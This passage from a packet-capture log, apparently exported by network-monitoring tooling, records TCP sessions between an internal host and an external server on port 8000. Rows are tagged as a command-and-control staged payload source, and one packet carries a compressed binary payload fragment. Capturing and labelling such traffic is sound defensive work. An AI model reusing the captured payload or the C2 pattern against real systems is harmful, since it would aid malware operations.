\"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45396, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16042, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263062, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14760, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:24.040618,898,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263063,bc2411360d0cbc24112907bb080045000034a4fa400040068af9c0a3a7890a98980b1f40fa650e975e6347107d978010003f0af700000101050a47107d9647107d97,\".$.6\n..$.)....E..4..@.@.......\n....@.e..^cG.}....?\n......\nG.}.G.}.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42234, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35577, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263063, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263062, 1192263063))]\"\"}}]\"\n2026-07-01 09:12:25.056192,899,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263062 Ack=244801123,bc24112907bbbc2411360d0c080045000029b155400080063ea90a98980bc0a3a789fa651f4047107d960e975e635010201439a8000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45397, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16041, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263062, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14760, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:25.056225,900,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263063,bc2411360d0cbc24112907bb080045000034a4fb400040068af8c0a3a7890a98980b1f40fa650e975e6347107d978010003f0af700000101050a47107d9647107d97,\".$.6\n..$.)....E..4..@.@.......\n....@.e..^cG.}....?\n......\nG.}.G.}.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42235, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35576, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263063, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263062, 1192263063))]\"\"}}]\"\n2026-07-01 09:12:26.071854,901,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1192263062 Ack=244801123,bc24112907bbbc2411360d0c080045000029b156400080063ea80a98980bc0a3a789fa651f4047107d960e975e635010201439a8000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45398, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16040, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263062, \"\"ack\"\": 244801123, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14760, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:26.071861,902,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801123 Ack=1192263063,bc2411360d0cbc24112907bb080045000034a4fc400040068af7c0a3a7890a98980b1f40fa650e975e6347107d978010003f0af700000101050a47107d9647107d97,\".$.6\n..$.)....E..4..@.@.......\n....@.e..^cG.}....?\n......\nG.}.G.}.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42236, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35575, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263063, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1192263062, 1192263063))]\"\"}}]\"\n2026-07-01 09:12:26.726630,903,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=244801123 Ack=1192263063,bc2411360d0cbc24112907bb080045000028a4fd400040068b02c0a3a7890a98980b1f40fa650e975e6347107d975011003f0aeb0000,\".$.6\n..$.)....E..(..@.@.......\n....@.e..^cG.}.P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 42237, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 35586, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801123, \"\"ack\"\": 1192263063, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:12:26.726926,904,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=1192263063 Ack=244801124,bc24112907bbbc2411360d0c080045000028b157400080063ea80a98980bc0a3a789fa651f4047107d970e975e645010201439a70000,\".$.)...$.6\n...E..(.W@...>.\n........e.@G.}...^dP. .9...\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 45399, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16040, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263063, \"\"ack\"\": 244801124, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14759, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:12:26.727614,905,TCP 10.152.152.11:64101 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64101,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,FA,,,Ether > IP > TCP,3,TCP FA Seq=1192263063 Ack=244801124,bc24112907bbbc2411360d0c080045000028b158400080063ea70a98980bc0a3a789fa651f4047107d970e975e645011201439a60000,\".$.)...$.6\n...E..(.X@...>.\n........e.@G.}...^dP. .9...\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 45400, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16039, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64101, \"\"dport\"\": 8000, \"\"seq\"\": 1192263063, \"\"ack\"\": 244801124, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14758, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:12:26.727633,906,TCP 192.163.167.137:8000 -> 10.152.152.11:64101,192.163.167.137,10.152.152.11,8000,64101,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=244801124 Ack=1192263064,bc2411360d0cbc24112907bb0800450000280000400040063000c0a3a7890a98980b1f40fa650e975e6447107d985010003f597b0000,\".$.6\n..$.)....E..(..@.@.0.....\n....@.e..^dG.}.P..?Y{..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 12288, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64101, \"\"seq\"\": 244801124, \"\"ack\"\": 1192263064, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 22907, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:12:30.744977,907,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,S,,,Ether > IP > TCP,3,TCP S Seq=1283636834 Ack=0,bc24112907bbbc2411360d0c080045000034b159400080063e9a0a98980bc0a3a789fa6a1f404c82be62000000008002faf044bf0000020405b40103030801010402,\".$.)...$.6\n...E..4.Y@...>.\n........j.@L..b........D...............\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45401, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16026, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283636834, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 17599, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-07-01 09:12:30.745002,908,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=578738451 Ack=1283636835,bc2411360d0cbc24112907bb0800450000340000400040062ff4c0a3a7890a98980b1f40fa6a227ed9134c82be638012faf00af70000020405b4010104020103030a,\".$.6\n..$.)....E..4..@.@./.....\n....@.j\"\"~..L..c....\n..............\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 12276, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738451, \"\"ack\"\": 1283636835, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 64240, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 10)]\"\"}}]\"\n2026-07-01 09:12:30.745280,909,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=1283636835 Ack=578738452,bc24112907bbbc2411360d0c080045000028b15a400080063ea50a98980bc0a3a789fa6a1f404c82be63227ed9145010201464cc0000,\".$.)...$.6\n...E..(.Z@...>.\n........j.@L..c\"\"~..P. .d...\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 45402, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16037, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283636835, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25804, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:12:30.758153,910,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=1283636835 Ack=578738452,bc24112907bbbc2411360d0c0800450000c9b15b400080063e030a98980bc0a3a789fa6a1f404c82be63227ed91450182014393500009d00c0ff9d00000048030000789c739f5cfb52e35a64c162fec3419d25d714fb17f91e977c9c1d37c9ea63cd0e57baf09b63362870ddcdba63fe96795ed6ce2f44e8bf2c2cfa398c34fb9c6c3fd674953e115f3435e19be5adc06c3afa6fd0f077b2bda9bd715a7971d91409a687ce4d1c77359e0a5fbe60b1b2b69f3d7781c81496bb83ccbdb4e457d87eabd9ed7a5db16d91e37196c7aa31949a07002ac4ac5d,\"........H...x.s.\\.R.Zd.b..A.%.......|..7..c..W...c6(p...c..y^../D..,,.9.4..l?.t.>._45.....l:.o..w....qZyq..\t...M.w5.\n_.`....=w..........W.~...z].m..q...1....*..]\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 201, \"\"id\"\": 45403, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15875, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283636835, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14645, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"9d00c0ff9d00000048030000789c739f5cfb52e35a64c162fec3419d25d714fb17f91e977c9c1d37c9ea63cd0e57baf09b63362870ddcdba63fe96795ed6ce2f44e8bf2c2cfa398c34fb9c6c3fd674953e115f3435e19be5adc06c3afa6fd0f077b2bda9bd715a7971d91409a687ce4d1c77359e0a5fbe60b1b2b69f3d7781c81496bb83ccbdb4e457d87eabd9ed7a5db16d91e37196c7aa31949a07002ac4ac5d\"\"}}]\"\n2026-07-01 09:12:30.758170,911,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283636996,bc2411360d0cbc24112907bb08004500002839c640004006f639c0a3a7890a98980b1f40fa6a227ed9144c82bf045010003f0aeb0000,\".$.6\n..$.)....E..(9.@.@..9....\n....@.j\"\"~..L...P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 14790, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 63033, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283636996, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:12:31.759525,912,TCP 10.152.152.11:64106 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64106,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1283636995 Ack=578738452,bc24112907bbbc2411360d0c080045000029b15c400080063ea20a98980bc0a3a789fa6a1f404c82bf03227ed91450102014642b000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45404, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16034, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64106, \"\"dport\"\": 8000, \"\"seq\"\": 1283636995, \"\"ack\"\": 578738452, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 25643, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:12:31.759557,913,TCP 192.163.167.137:8000 -> 10.152.152.11:64106,192.163.167.137,10.152.152.11,8000,64106,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=578738452 Ack=1283636996,bc2411360d0cbc24112907bb08004500003439c740004006f62cc0a3a7890a98980b1f40fa6a227ed9144c82bf048010003f0af700000101050a4c82bf034c82bf04,\".$.6\n..$.)....E..49.@.@..,....\n....@.j\"\"~..L......?\n......\nL...L...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 14791, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 63020, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64106, \"\"seq\"\": 578738452, \"\"ack\"\": 1283636996, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1283636995, 